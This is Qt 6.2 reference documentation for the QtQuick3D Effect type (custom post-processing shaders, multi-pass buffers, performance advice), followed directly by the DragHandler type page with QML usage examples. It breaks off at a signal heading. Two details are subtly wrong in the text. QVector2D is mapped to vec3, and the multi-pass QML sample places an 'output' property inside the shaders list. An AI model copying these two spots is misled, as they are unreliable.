 Detailed Description
--------------------

 The Effect type allows the user to implement their own post-processing effects for [QtQuick3D](https://doc.qt.io/qt-6.2/qtquick3d-qmlmodule.html).

 Post-processing effects
-----------------------

 A post-processing effect is conceptually very similar to Qt Quick's [ShaderEffect](qml-qtquick-shadereffect) item. When an effect is present, the scene is rendered into a separate texture first. The effect is then applied by drawing a textured quad to the main render target, depending on the [render mode](qml-qtquick3d-view3d#renderMode-prop) of the [View3D](qml-qtquick3d-view3d). The effect can provide a vertex shader, a fragment shader, or both. Effects are always applied on the entire scene, per [View3D](qml-qtquick3d-view3d).

 Effects are associated with the [SceneEnvironment](qml-qtquick3d-sceneenvironment) in the [SceneEnvironment::effects](qml-qtquick3d-sceneenvironment#effects-prop) property. The property is a list: effects can be chained together; they are applied in the order they are in the list, using the previous step's output as the input to the next one, with the last effect's output defining the contents of the [View3D](qml-qtquick3d-view3d).

 Effects are similar to [custom materials](qml-qtquick3d-custommaterial) in many ways. However, a custom material is associated with a model and is responsible for the shading of that given mesh. Whereas an effect's vertex shader always gets a quad (for example, two triangles) as its input, while its fragment shader samples the texture with the scene's content.

 Unlike custom materials, effects support multiple passes. For many effects this it not necessary, and when there is a need to apply multiple effects, identical results can often be achieved by chaining together multiple effects in [the SceneEnvironment](qml-qtquick3d-sceneenvironment#effects-prop). This is demonstrated by the [Custom Effect example](https://doc.qt.io/qt-6.2/qtquick3d-customeffect-example.html) as well. However, passes have the possibility to request additional color buffers (texture), and specify which of these additional buffers they output to. This allows implementing more complex image processing techniques since subsequent passes can then use one or more of these additional buffers, plus the original scene's content, as their input. If necessary, these additional buffers can have an extended lifetime, meaning their content is preserved between frames, which allows implementing effects that rely on accumulating content from multiple frames, such as, motion blur.

 When compared to Qt Quick's 2D [ShaderEffect](qml-qtquick-shadereffect), the 3D post-processing effects have the advantage of being able to work with depth buffer data, as well as the ability to implement multiple passes with intermediate buffers. In addition, the texture-related capabilities are extended: Qt Quick 3D allows more fine-grained control over filtering modes, and allows effects to work with texture formats other than RGBA8, for example, floating point formats.

  **Note:** Post-processing effects are currently available only when the [View3D](qml-qtquick3d-view3d) has its [renderMode](qml-qtquick3d-view3d#renderMode-prop) set to `Offscreen`. Effects will not be rendered with other renderMode values.

  Exposing data to the shaders
----------------------------

 Like with [CustomMaterial](qml-qtquick3d-custommaterial) or [ShaderEffect](qml-qtquick-shadereffect), the dynamic properties of an Effect object can be changed and animated using the usual QML and Qt Quick facilities, and the values are exposed to the shaders automatically. The following list shows how properties are mapped:

 * bool, int, real -> bool, int, float
* [QColor](qcolor), [color](qml-qtqml-qt#rgba-method) -> vec4, and the color gets converted to linear, assuming sRGB space for the color value specified in QML. The built-in Qt colors, such as `"green"` are in sRGB color space as well, and the same conversion is performed for all color properties of [DefaultMaterial](qml-qtquick3d-defaultmaterial) and [PrincipledMaterial](qml-qtquick3d-principledmaterial), so this behavior of Effect matches those.
* [QRect](qrect), [QRectF](qrectf), [rect](qml-qtqml-qt#rect-method) -> vec4
* [QPoint](qpoint), [QPointF](qpointf), [point](qml-qtqml-qt#point-method), [QSize](qsize), [QSizeF](qsizef), [size](qml-qtqml-qt#size-method) -> vec2
* [QVector2D](qvector2d), [vector2d](qml-qtqml-qt#vector2d-method) -> vec3
* [QVector3D](qvector3d), [vector3d](qml-qtqml-qt#vector3d-method) -> vec3
* [QVector4D](qvector4d), [vector4d](qml-qtqml-qt#vector4d-method) -> vec4
* [QMatrix4x4](qmatrix4x4), [matrix4x4](qml-qtqml-qt#matrix4x4-method) -> mat4
* [QQuaternion](qquaternion), [quaternion](qml-qtqml-qt#quaternion-method) -> vec4, scalar value is `w`
* [TextureInput](qml-qtquick3d-textureinput) -> sampler2D - Textures referencing [image files](qml-qtquick3d-texture#source-prop) and [Qt Quick item layers](qml-qtquick3d-texture#sourceItem-prop) are both supported. Setting the [enabled](qml-qtquick3d-textureinput#enabled-prop) property to false leads to exposing a dummy texture to the shader, meaning the shaders are still functional but will sample a texture with opaque black image content. Pay attention to the fact that properties for samplers must always reference a [TextureInput](qml-qtquick3d-textureinput) object, not a [Texture](qml-qtquick3d-texture) directly. When it comes to the [Texture](qml-qtquick3d-texture) properties, the source, tiling, and filtering related ones are the only ones that are taken into account implicitly with effects, as the rest (such as, UV transformations) is up to the custom shaders to implement as they see fit.

  **Note:** When a uniform referenced in the shader code does not have a corresponding property, it will cause a shader compilation error when processing the effect at run time. There are some exceptions to this, such as, sampler uniforms, that get a dummy texture bound when no corresponding QML property is present, but as a general rule, all uniforms and samplers must have a corresponding property declared in the Effect object.

  Getting started with effects
----------------------------

 First, check if a suitable effect is available in the [QtQuick3D.Effects module](https://doc.qt.io/qt-6.2/qtquick3d-effects-qmlmodule.html). If so, there is no need to implement an effect with your own shaders. Otherwise, an Effect object and a fragment shader snippet needs to be written. Some effects will also want a customized vertex shader as well.

 As a simple example, let's create an effect that combines the scene's content with an image, while further altering the red channel's value in an animated manner:

 

|  |  |
| --- | --- |
| 
```
Effect {
    id: simpleEffect
    property TextureInput tex: TextureInput {
        texture: Texture { source: "image.png" }
    }
    property real redLevel
    NumberAnimation on redLevel { from: 0; to: 1; duration: 5000; loops: -1 }
    passes: Pass {
       shaders: Shader {
           stage: Shader.Fragment
           shader: "effect.frag"
       }
    }
}
```
 | 
```
void MAIN()
{
    vec4 c = texture(tex, TEXTURE_UV);
    c.r *= redLevel;
    FRAGCOLOR = c * texture(INPUT, INPUT_UV);
}
```
 |

 Here the texture with the image `image.png` is exposed to the shader under the name `tex`. The value of redLevel is available in the shader in a `float` uniform with the same name.

 The fragment shader must contain a function called `MAIN`. The final fragment color is determined by `FRAGCOLOR`. The main input texture, with the contents of the [View3D](qml-qtquick3d-view3d)'s scene, is accessible under a `sampler2D` with the name `INPUT`. The UV coordinates from the quad are in `INPUT_UV`. These UV values are always suitable for sampling `INPUT`, regardless of the underlying graphics API at run time (and so regardless of the Y axis direction in images since the necessary adjustments are applied automatically by Qt Quick 3D). Sampling the texture with our external image is done using `TEXTURE_UV`. `INPUT_UV` is not suitable in cross-platform applications since V needs to be flipped to cater for the coordinate system differences mentioned before, using a logic that is different for textures based on images and textures used as render targets. Fortunately this is all taken care of by the engine so the shader need no further logic for this.

 Once simpleEffect is available, it can be associated with the effects list of a the [View3D](qml-qtquick3d-view3d)'s [SceneEnvironment](qml-qtquick3d-sceneenvironment):

 
```
environment: SceneEnvironment {
    effects: [ simpleEffect ]
}
```
 The results would look something like the following, with the original scene on the left and with the effect applied on the right:

 

|  |  |
| --- | --- |
|  |  |

  **Note:** The `shader` property value in Shader is a URL, as is the custom in QML and Qt Quick, referencing the file containing the shader snippet, and works very similarly to [ShaderEffect](qml-qtquick-shadereffect) or [Image.source](qml-qtquick-image#source-prop). Only the `file` and `qrc` schemes are supported.. It is also possible to omit the `file` scheme, allowing to specify a relative path in a convenient way. Such a path is resolved relative to the component's (the `.qml` file's) location.

   **Note:** Shader code is always provided using Vulkan-style GLSL, regardless of the graphics API used by Qt at run time.

   **Note:** The vertex and fragment shader code provided by the effect are not full, complete GLSL shaders on their own. Rather, they provide a `MAIN` function, and optionally a set of `VARYING` declarations, which are then amended with further shader code by the engine.

  Effects with vertex shaders
---------------------------

 A vertex shader, when present, must provide a function called `MAIN`. In the vast majority of cases the custom vertex shader will not want to provide its own calculation of the homogenous vertex position, but it is possible using `POSITION`, `VERTEX`, and `MODELVIEWPROJECTION_MATRIX`. When `POSITION` is not present in the custom shader code, a statement equivalent to `POSITION = MODELVIEWPROJECTION_MATRIX * vec4(VERTEX, 1.0);` will be injected automatically by Qt Quick 3D.

 To pass data between the vertex and fragment shaders, use the VARYING keyword. Internally this will then be transformed into the appropriate vertex output or fragment input declaration. The fragment shader can use the same declaration, which then allows to read the interpolated value for the current fragment.

 Let's look at example, that is in effect very similar to the built-in [DistortionSpiral](qml-qtquick3d-effects-distortionspiral) effect:

 

|  |  |
| --- | --- |
| 
```
VARYING vec2 center_vec;
void MAIN()
{
    center_vec = INPUT_UV - vec2(0.5, 0.5);
    center_vec.y *= INPUT_SIZE.y / INPUT_SIZE.x;
}
```
 | 
```
VARYING vec2 center_vec;
void MAIN()
{
    float radius = 0.25;
    float dist_to_center = length(center_vec) / radius;
    vec2 texcoord = INPUT_UV;
    if (dist_to_center <= 1.0) {
        float rotation_amount = (1.0 - dist_to_center) * (1.0 - dist_to_center);
        float r = radians(360.0) * rotation_amount / 4.0;
        mat2 rotation = mat2(cos(r), sin(r), -sin(r), cos(r));
        texcoord = vec2(0.5, 0.5) + rotation * (INPUT_UV - vec2(0.5, 0.5));
    }
    FRAGCOLOR = texture(INPUT, texcoord);
}
```
 |

 The Effect object's `passes` list should now specify both the vertex and fragment snippets:

 
```
passes: Pass {
   shaders: [
       Shader {
           stage: Shader.Vertex
           shader: "effect.vert"
       },
       Shader {
           stage: Shader.Fragment
           shader: "effect.frag"
       }
    ]
}
```
 The end result looks like the following:

 

|  |  |
| --- | --- |
|  |  |

 Special keywords in effect shaders
----------------------------------

 * `VARYING` - Declares a vertex output or fragment input, depending on the type of the current shader.
* `MAIN` - This function must always be present in an effect shader.
* `FRAGCOLOR` - `vec4` - The final fragment color; the output of the fragment shader. (fragment shader only)
* `POSITION` - `vec4` - The homogenous position calculated in the vertex shader. (vertex shader only)
* `MODELVIEWPROJECTION_MATRIX` - `mat4` - The transformation matrix for the screen quad.
* `VERTEX` - `vec3` - The vertices of the quad; the input to the vertex shader. (vertex shader only)
* `INPUT` - `sampler2D` - The sampler for the input texture with the scene rendered into it, unless a pass redirects its input via a [BufferInput](qml-qtquick3d-bufferinput) object, in which case `INPUT` refers to the additional color buffer's texture referenced by the [BufferInput](qml-qtquick3d-bufferinput).
* `INPUT_UV` - `vec2` - UV coordinates for sampling `INPUT`.
* `TEXTURE_UV` - `vec2` - UV coordinates suitable for sampling a Texture with contents loaded from an image file.
* `INPUT_SIZE` - `vec2` - The size of the `INPUT` texture, in pixels.
* `OUTPUT_SIZE` - `vec2` - The size of the output buffer, in pixels. Often the same as `INPUT_SIZE`, unless the pass outputs to an extra Buffer with a size multiplier on it.
* `FRAME` - `float` - A frame counter, incremented after each frame in the [View3D](qml-qtquick3d-view3d).
* `DEPTH_TEXTURE` - `sampler2D` - A depth texture with the depth buffer contents with the opaque objects in the scene. Like with [CustomMaterial](qml-qtquick3d-custommaterial), the presence of this keyword in the shader triggers generating the depth texture automatically.

 Building multi-pass effects
---------------------------

 A multi-pass effect often uses more than one set of shaders, and takes the [output](qml-qtquick3d-pass#output-prop) and [commands](qml-qtquick3d-pass#commands-prop) properties into use. Each entry in the passes list translates to a render pass drawing a quad into the pass's output texture, while sampling the effect's input texture and optionally other textures as well.

 The typical outline of a multi-pass Effect can look like the following:

 
```
passes: [
    Pass {
        shaders: [
            Shader {
                stage: Shader.Vertex
                shader: "pass1.vert"
            },
            Shader {
                stage: Shader.Fragment
                shader: "pass1.frag"
            }
            // This pass outputs to the intermediate texture described
            // by the Buffer object.
            output: intermediateColorBuffer
        ],
    },
    Pass {
        shaders: [
            Shader {
                stage: Shader.Vertex
                shader: "pass2.vert"
            },
            Shader {
                stage: Shader.Fragment
                shader: "pass2.frag"
            }
            // The output of the last pass needs no redirection, it is
            // the final result of the effect.
        ],
        commands: [
            // This pass reads from the intermediate texture, meaning
            // INPUT in the shader will refer to the texture associated
            // with the Buffer.
            BufferInput {
                buffer: intermediateColorBuffer
            }
        ]
    }
]
```
 What is `intermediateColorBuffer`?

 
```
Buffer {
    id: intermediateColorBuffer
    name: "tempBuffer"
    // format: Buffer.RGBA8
    // textureFilterOperation: Buffer.Linear
    // textureCoordOperation: Buffer.ClampToEdge
}
```
 The commented properties are not necessary if the desired values match the defaults.

 Internally the presence of this Buffer object and referencing it from the `output` property of a Pass leads to creating a texture with a size matching the [View3D](qml-qtquick3d-view3d), and so the size of the implicit input and output textures. When this is not desired, the [sizeMultiplier](qml-qtquick3d-buffer#sizeMultiplier-prop) property can be used to get an intermediate texture with a different size. This can lead to the `INPUT_SIZE` and `OUTPUT_SIZE` uniforms in the shader having different values.

 By default the Effect cannot count on textures preserving their contents between frames. When a new intermediate texture is created, it is cleared to `vec4(0.0)`. Afterwards, the same texture can be reused for another purpose. Therefore, effect passes should always write to the entire texture, without making assumptions about their content at the start of the pass. There is an exception to this: Buffer objects with [bufferFlags](qml-qtquick3d-buffer#bufferFlags-prop) set to Buffer.SceneLifetime. This indicates that the texture is permanently associated with a pass of the effect and it will not be reused for other purposes. The contents of such color buffers is preserved between frames. This is typically used in a ping-pong fashion in effects like motion blur: the first pass takes the persistent buffer as its input, in addition to the effects main input texture, outputting to another intermediate buffer, while the second pass outputs to the persistent buffer. This way in the first frame the first pass samples an empty (transparent) texture, whereas in subsequent frames it samples the output of the second pass from the previous frame. A third pass can then blend the effect's input and the second pass' output together.

 The [BufferInput](qml-qtquick3d-bufferinput) command type is used to expose custom texture buffers to the render pass.

 For instance, to access `someBuffer` in the render pass shaders under the name, `mySampler`, the following can be added to its command list:

 
```
BufferInput { buffer: someBuffer; sampler: "mySampler" }
```
 If the `sampler` name is not specified, `INPUT` will be used as default.

 Buffers can be useful to share intermediate results between render passes.

 To expose preloaded textures to the effect, [TextureInput](qml-qtquick3d-textureinput) should be used instead. These can be defined as properties of the Effect itself, and will automatically be accessible to the shaders by their property names.

 
```
property TextureInput tex: TextureInput {
    texture: Texture { source: "image.png" }
}
```
 Here `tex` is a valid sampler in all shaders of all the passes of the effect.

 When it comes to uniform values from properties, all passes in the Effect read the same values in their shaders. If necessary it is possible to override the value of a uniform just for a given pass. This is achieved by adding the [SetUniformValue](qml-qtquick3d-setuniformvalue) command to the list of commands for the pass.

  **Note:** The [target](qml-qtquick3d-setuniformvalue#target-prop) of the pass-specific uniform value setter can only refer to a name that is the name of a property of the effect. It can override the value for a property's corresponding uniform, but it cannot introduce new uniforms.

  Performance considerations
--------------------------

 Be aware of the increased resource usage and potentially reduced performance when using post-processing effects. Just like with Qt Quick layers and [ShaderEffect](qml-qtquick-shadereffect), rendering the scene into a texture and then using that to texture a quad is not a cheap operation, especially on low-end hardware with limited fragment processing power. The amount of additional graphics memory needed, as well as the increase in GPU load both depend on the size of the [View3D](qml-qtquick3d-view3d) (which, on embedded devices without a windowing system, may often be as big as the screen resolution). Multi-pass effects, as well as applying multiple effects increase the resource and performance requirements further.

 Therefore, it is highly advisable to ensure early on in the development lifecycle that the targeted device and graphics stack is able to cope with the effects included in the design of the 3D scene at the final product's screen resolution.

 While unavoidable with techniques that need it, `DEPTH_TEXTURE` implies an additional rendering pass to generate the contents of that texture, which can also present a hit on less capable hardware. Therefore, use `DEPTH_TEXTURE` in the effect's shaders only when essential.

 The complexity of the operations in the shaders is also important. Just like with [CustomMaterial](qml-qtquick3d-custommaterial), a sub-optimal fragment shader can easily lead to reduced rendering performance.

 Be cautious with [sizeMultiplier in Buffer](qml-qtquick3d-buffer#sizeMultiplier-prop) when values larger than 1 are involved. For example, a multiplier of 4 means creating and then rendering to a texture that is 4 times the size of the [View3D](qml-qtquick3d-view3d). Just like with shadow maps and multi- or supersampling, the increased resource and performance costs can quickly outweigh the benefits from better quality on systems with limited GPU power.

 **See also** [Shader](qml-qtquick3d-shader), [Pass](qml-qtquick3d-pass), [Buffer](qml-qtquick3d-buffer), [BufferInput](qml-qtquick3d-bufferinput), [Qt Quick 3D - Custom Effect Example](https://doc.qt.io/qt-6.2/qtquick3d-customeffect-example.html), and [Qt Quick 3D - Effects Example](https://doc.qt.io/qt-6.2/qtquick3d-effects-example.html).

 Property Documentation
----------------------

 ###  passes : [list](qml-list)

 Contains a list of render [passes](qml-qtquick3d-pass) implemented by the effect.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-effect.html>

DragHandler QML Type
====================

 Handler for dragging. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Inherits: | [MultiPointHandler](qml-qtquick-multipointhandler) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-draghandler-members.html)
* [Deprecated members](https://doc.qt.io/qt-6.2/qml-qtquick-draghandler-obsolete.html)

 Properties
----------

 * **[acceptedButtons](qml-qtquick-draghandler#acceptedButtons-prop)** : flags
* **[acceptedDevices](qml-qtquick-draghandler#acceptedDevices-prop)** : flags
* **[acceptedModifiers](qml-qtquick-draghandler#acceptedModifiers-prop)** : flags
* **[acceptedPointerTypes](qml-qtquick-draghandler#acceptedPointerTypes-prop)** : flags
* **[active](qml-qtquick-draghandler#active-prop)** : bool
* **[activeTranslation](qml-qtquick-draghandler#activeTranslation-prop)** : QVector2D
* **[cursorShape](qml-qtquick-draghandler#cursorShape-prop)** : Qt::CursorShape
* **[dragThreshold](qml-qtquick-draghandler#dragThreshold-prop)** : int
* **[enabled](qml-qtquick-draghandler#enabled-prop)** : bool
* **[grabPermissions](qml-qtquick-draghandler#grabPermissions-prop)** : flags
* **[margin](qml-qtquick-draghandler#margin-prop)** : real
* **[parent](qml-qtquick-draghandler#parent-prop)** : Item
* **[persistentTranslation](qml-qtquick-draghandler#persistentTranslation-prop)** : QVector2D
* **[target](qml-qtquick-draghandler#target-prop)** : Item
* **[xAxis](qml-qtquick-draghandler#xAxis-prop)**
	+ **[xAxis.enabled](qml-qtquick-draghandler#xAxis.enabled-prop)** : bool
	+ **[xAxis.maximum](qml-qtquick-draghandler#xAxis.maximum-prop)** : real
	+ **[xAxis.minimum](qml-qtquick-draghandler#xAxis.minimum-prop)** : real
* **[yAxis](qml-qtquick-draghandler#yAxis-prop)**
	+ **[yAxis.enabled](qml-qtquick-draghandler#yAxis.enabled-prop)** : bool
	+ **[yAxis.maximum](qml-qtquick-draghandler#yAxis.maximum-prop)** : real
	+ **[yAxis.minimum](qml-qtquick-draghandler#yAxis.minimum-prop)** : real

 Signals
-------

 * **[canceled](qml-qtquick-draghandler#canceled-signal)**(EventPoint *point*)
* **[grabChanged](qml-qtquick-draghandler#grabChanged-signal)**(GrabTransition *transition*, EventPoint *point*)

 Detailed Description
--------------------

 DragHandler is a handler that is used to interactively move an Item. Like other Input Handlers, by default it is fully functional, and manipulates its [target](qml-qtquick-draghandler#target-prop).

 
```
import QtQuick 2.12

Rectangle {
    width: 100
    height: 100
    color: "lightsteelblue"
    DragHandler { }
}
```
 It has properties to restrict the range of dragging.

 If it is declared within one Item but is assigned a different [target](qml-qtquick-draghandler#target-prop), then it handles events within the bounds of the [parent](qml-qtquick-draghandler#parent-prop) Item but manipulates the `target` Item instead:

 
```
import QtQuick 2.12

Item {
    width: 640
    height: 480

    Rectangle {
        id: feedback
        border.color: "red"
        width: Math.max(10, handler.centroid.ellipseDiameters.width)
        height: Math.max(10, handler.centroid.ellipseDiameters.height)
        radius: Math.max(width, height) / 2
        visible: handler.active
    }

    DragHandler {
        id: handler
        target: feedback
    }
}
```
 A third way to use it is to set [target](qml-qtquick-draghandler#target-prop) to `null` and react to property changes in some other way:

 
```
import QtQuick 2.12

Item {
    width: 640
    height: 480

    DragHandler {
        id: handler
        target: null
    }

    Text {
        color: handler.active ? "darkgreen" : "black"
        text: handler.centroid.position.x.toFixed(1) + "," + handler.centroid.position.y.toFixed(1)
        x: handler.centroid.position.x - width / 2
        y: handler.centroid.position.y - height
    }
}
```
 If minimumPointCount and maximumPointCount are set to values larger than 1, the user will need to drag that many fingers in the same direction to start dragging. A multi-finger drag gesture can be detected independently of both a (default) single-finger DragHandler and a [PinchHandler](qml-qtquick-pinchhandler) on the same Item, and thus can be used to adjust some other feature independently of the usual pinch behavior: for example adjust a tilt transformation, or adjust some other numeric value, if the `target` is set to null. But if the `target` is an Item, `centroid` is the point at which the drag begins and to which the `target` will be moved (subject to constraints).

 At this time, drag-and-drop is not yet supported.

 **See also** [Drag](qml-qtquick-drag) and [MouseArea](qml-qtquick-mousearea).

 Property Documentation
----------------------

 ###  acceptedButtons : flags

 The mouse buttons which can activate this Pointer Handler.

 By default, this property is set to [Qt.LeftButton](qml-qtquick-mouseevent#button-prop). It can be set to an OR combination of mouse buttons, and will ignore events from other buttons.

 For example, a control could be made to respond to left and right clicks in different ways, with two handlers:

 
```
Item {
    TapHandler {
        onTapped: console.log("left clicked")
    }
    TapHandler {
        acceptedButtons: Qt.RightButton
        onTapped: console.log("right clicked")
    }
}
```
  **Note:** Tapping on a touchscreen or tapping the stylus on a graphics tablet emulates clicking the left mouse button. This behavior can be altered via [acceptedDevices](qml-qtquick-draghandler#acceptedDevices-prop) or [acceptedPointerTypes](qml-qtquick-draghandler#acceptedPointerTypes-prop).

  ###  acceptedDevices : flags

 The types of pointing devices that can activate this Pointer Handler.

 By default, this property is set to [PointerDevice.AllDevices](qinputdevice#DeviceType-enum). If you set it to an OR combination of device types, it will ignore events from non-matching devices.

 For example, a control could be made to respond to mouse and stylus clicks in one way, and touchscreen taps in another way, with two handlers:

 
```
Item {
   TapHandler {
       acceptedDevices: PointerDevice.Mouse | PointerDevice.Stylus
       onTapped: console.log("clicked")
   }
   TapHandler {
       acceptedDevices: PointerDevice.TouchScreen
       onTapped: console.log("tapped")
   }
}
```
 ###  acceptedModifiers : flags

 If this property is set, it will require the given keyboard modifiers to be pressed in order to react to pointer events, and otherwise ignore them.

 If this property is set to `Qt.KeyboardModifierMask` (the default value), then the [PointerHandler](qml-qtquick-pointerhandler) ignores the modifier keys.

 For example, an [Item](qml-qtquick-item) could have two handlers of the same type, one of which is enabled only if the required keyboard modifiers are pressed:

 
```
Item {
   TapHandler {
       acceptedModifiers: Qt.ControlModifier
       onTapped: console.log("control-tapped")
   }
   TapHandler {
       acceptedModifiers: Qt.NoModifier
       onTapped: console.log("tapped")
   }
}
```
 If you set `acceptedModifiers` to an OR combination of modifier keys, it means *all* of those modifiers must be pressed to activate the handler:

 
```
Item {
   TapHandler {
       acceptedModifiers: Qt.ControlModifier | Qt.AltModifier | Qt.ShiftModifier
       onTapped: console.log("control-alt-shift-tapped")
   }
}
```
 The available modifiers are as follows:

 

| Constant | Description |
| --- | --- |
| `NoModifier` | No modifier key is allowed. |
| `ShiftModifier` | A Shift key on the keyboard must be pressed. |
| `ControlModifier` | A Ctrl key on the keyboard must be pressed. |
| `AltModifier` | An Alt key on the keyboard must be pressed. |
| `MetaModifier` | A Meta key on the keyboard must be pressed. |
| `KeypadModifier` | A keypad button must be pressed. |
| `GroupSwitchModifier` | X11 only (unless activated on Windows by a command line argument). A Mode\_switch key on the keyboard must be pressed. |
| `KeyboardModifierMask` | The handler does not care which modifiers are pressed. |

 If you need even more complex behavior than can be achieved with combinations of multiple handlers with multiple modifier flags, you can check the modifiers in JavaScript code:

 
```
Item {
    TapHandler {
        onTapped:
            switch (point.modifiers) {
            case Qt.ControlModifier | Qt.AltModifier:
                console.log("CTRL+ALT");
                break;
            case Qt.ControlModifier | Qt.AltModifier | Qt.MetaModifier:
                console.log("CTRL+META+ALT");
                break;
            default:
                console.log("other modifiers", point.modifiers);
                break;
            }
    }
}
```
 **See also** [Qt::KeyboardModifier](qt#KeyboardModifier-enum).

 ###  acceptedPointerTypes : flags

 The types of pointing instruments (finger, stylus, eraser, etc.) that can activate this Pointer Handler.

 By default, this property is set to [PointerDevice.AllPointerTypes](qpointingdevice#PointerType-enum). If you set it to an OR combination of device types, it will ignore events from non-matching events.

 For example, a control could be made to respond to mouse, touch, and stylus clicks in some way, but delete itself if tapped with an eraser tool on a graphics tablet, with two handlers:

 
```
Rectangle {
   id: rect
   TapHandler {
       acceptedPointerTypes: PointerDevice.GenericPointer | PointerDevice.Finger | PointerDevice.Pen
       onTapped: console.log("clicked")
   }
   TapHandler {
       acceptedPointerTypes: PointerDevice.Eraser
       onTapped: rect.destroy()
   }
}
```
 ###  [read-only] active : [bool](qml-bool)

 This holds true whenever this Input Handler has taken sole responsibility for handing one or more EventPoints, by successfully taking an exclusive grab of those points. This means that it is keeping its properties up-to-date according to the movements of those Event Points and actively manipulating its [target](qml-qtquick-draghandler#target-prop) (if any).

 ###  [read-only] activeTranslation : QVector2D

 The translation while the drag gesture is being performed. It is `0, 0` when the gesture begins, and increases as the event point(s) are dragged downward and to the right. After the gesture ends, it stays the same; and when the next drag gesture begins, it is reset to `0, 0` again.

 ###  [since 5.15] cursorShape : Qt::CursorShape

 This property holds the cursor shape that will appear whenever the mouse is hovering over the [parent](qml-qtquick-draghandler#parent-prop) item while [active](qml-qtquick-draghandler#active-prop) is `true`.

 The available cursor shapes are:

 * Qt.ArrowCursor
* Qt.UpArrowCursor
* Qt.CrossCursor
* Qt.WaitCursor
* Qt.IBeamCursor
* Qt.SizeVerCursor
* Qt.SizeHorCursor
* Qt.SizeBDiagCursor
* Qt.SizeFDiagCursor
* Qt.SizeAllCursor
* Qt.BlankCursor
* Qt.SplitVCursor
* Qt.SplitHCursor
* Qt.PointingHandCursor
* Qt.ForbiddenCursor
* Qt.WhatsThisCursor
* Qt.BusyCursor
* Qt.OpenHandCursor
* Qt.ClosedHandCursor
* Qt.DragCopyCursor
* Qt.DragMoveCursor
* Qt.DragLinkCursor

 The default value is not set, which allows the [cursor](qquickitem#cursor) of [parent](qml-qtquick-draghandler#parent-prop) item to appear. This property can be reset to the same initial condition by setting it to undefined.

  **Note:** When this property has not been set, or has been set to `undefined`, if you read the value it will return `Qt.ArrowCursor`.

  This property was introduced in Qt 5.15.

 **See also** [Qt::CursorShape](qt#CursorShape-enum), [QQuickItem::cursor](qquickitem#cursor)(), and [HoverHandler::cursorShape](qml-qtquick-hoverhandler#cursorShape-prop).

 ###  [since 5.15] dragThreshold : [int](qml-int)

 The distance in pixels that the user must drag an event point in order to have it treated as a drag gesture.

 The default value depends on the platform and screen resolution. It can be reset back to the default value by setting it to undefined. The behavior when a drag gesture begins varies in different handlers.

 This property was introduced in Qt 5.15.

 ###  enabled : [bool](qml-bool)

 If a [PointerHandler](qml-qtquick-pointerhandler) is disabled, it will reject all events and no signals will be emitted.

 ###  grabPermissions : flags

 This property specifies the permissions when this handler's logic decides to take over the exclusive grab, or when it is asked to approve grab takeover or cancellation by another handler.

 

| Constant | Description |
| --- | --- |
| `PointerHandler.TakeOverForbidden` | This handler neither takes from nor gives grab permission to any type of Item or Handler. |
| `PointerHandler.CanTakeOverFromHandlersOfSameType` | This handler can take the exclusive grab from another handler of the same class. |
| `PointerHandler.CanTakeOverFromHandlersOfDifferentType` | This handler can take the exclusive grab from any kind of handler. |
| `PointerHandler.CanTakeOverFromAnything` | This handler can take the exclusive grab from any type of Item or Handler. |
| `PointerHandler.ApprovesTakeOverByHandlersOfSameType` | This handler gives permission for another handler of the same class to take the grab. |
| `PointerHandler.ApprovesTakeOverByHandlersOfDifferentType` | This handler gives permission for any kind of handler to take the grab. |
| `PointerHandler.ApprovesTakeOverByItems` | This handler gives permission for any kind of Item to take the grab. |
| `PointerHandler.ApprovesCancellation` | This handler will allow its grab to be set to null. |
| `PointerHandler.ApprovesTakeOverByAnything` | This handler gives permission for any any type of Item or Handler to take the grab. |

 The default is `PointerHandler.CanTakeOverFromItems | PointerHandler.CanTakeOverFromHandlersOfDifferentType | PointerHandler.ApprovesTakeOverByAnything` which allows most takeover scenarios but avoids e.g. two PinchHandlers fighting over the same touchpoints.

 ###  margin : [real](qml-real)

 The margin beyond the bounds of the [parent](qml-qtquick-draghandler#parent-prop) item within which an event point can activate this handler. For example, on a [PinchHandler](qml-qtquick-pinchhandler) where the [target](qml-qtquick-draghandler#target-prop) is also the `parent`, it's useful to set this to a distance at least half the width of a typical user's finger, so that if the `parent` has been scaled down to a very small size, the pinch gesture is still possible. Or, if a [TapHandler](qml-qtquick-taphandler)-based button is placed near the screen edge, it can be used to comply with Fitts's Law: react to mouse clicks at the screen edge even though the button is visually spaced away from the edge by a few pixels.

 The default value is 0.

 ![]

 ###  [read-only] parent : [Item](qml-qtquick-item)

 The [Item](qml-qtquick-item) which is the scope of the handler; the Item in which it was declared. The handler will handle events on behalf of this Item, which means a pointer event is relevant if at least one of its event points occurs within the Item's interior. Initially [target()](qml-qtquick-draghandler#target-prop) is the same, but it can be reassigned.

  **Note:** When a handler is declared in a [QtQuick3D.Model](qml-qtquick3d-model) object, the parent is not an Item, therefore this property is `null`.

  **See also** [target](qml-qtquick-draghandler#target-prop) and [QObject::parent](qobject#parent)().

 ###  persistentTranslation : QVector2D

 The translation to be applied to the [target](qmake-variable-reference#target) if it is not `null`. Otherwise, bindings can be used to do arbitrary things with this value. While the drag gesture is being performed, [activeTranslation](qml-qtquick-draghandler#activeTranslation-prop) is continuously added to it; after the gesture ends, it stays the same.

 ###  target : [Item](qml-qtquick-item)

 The Item which this handler will manipulate.

 By default, it is the same as the [parent](qml-qtquick-draghandler#parent-prop), the Item within which the handler is declared. However, it can sometimes be useful to set the target to a different Item, in order to handle events within one item but manipulate another; or to `null`, to disable the default behavior and do something else instead.

 ###  xAxis.enabled : [bool](qml-bool)

 `xAxis` controls the constraints for horizontal dragging.

 `minimum` is the minimum acceptable value of [x](qml-qtquick-item#x-prop) to be applied to the [target](qml-qtquick-draghandler#target-prop). `maximum` is the maximum acceptable value of [x](qml-qtquick-item#x-prop) to be applied to the [target](qml-qtquick-draghandler#target-prop). If `enabled` is true, horizontal dragging is allowed.

 ###  yAxis.enabled : [bool](qml-bool)

 `yAxis` controls the constraints for vertical dragging.

 `minimum` is the minimum acceptable value of [y](qml-qtquick-item#y-prop) to be applied to the [target](qml-qtquick-draghandler#target-prop). `maximum` is the maximum acceptable value of [y](qml-qtquick-item#y-prop) to be applied to the [target](qml-qtquick-draghandler#target-prop). If `enabled` is true, vertical dragging is allowed.

 Signal Documentation
--------------------

 ###  canceled(EventPoint *point*)

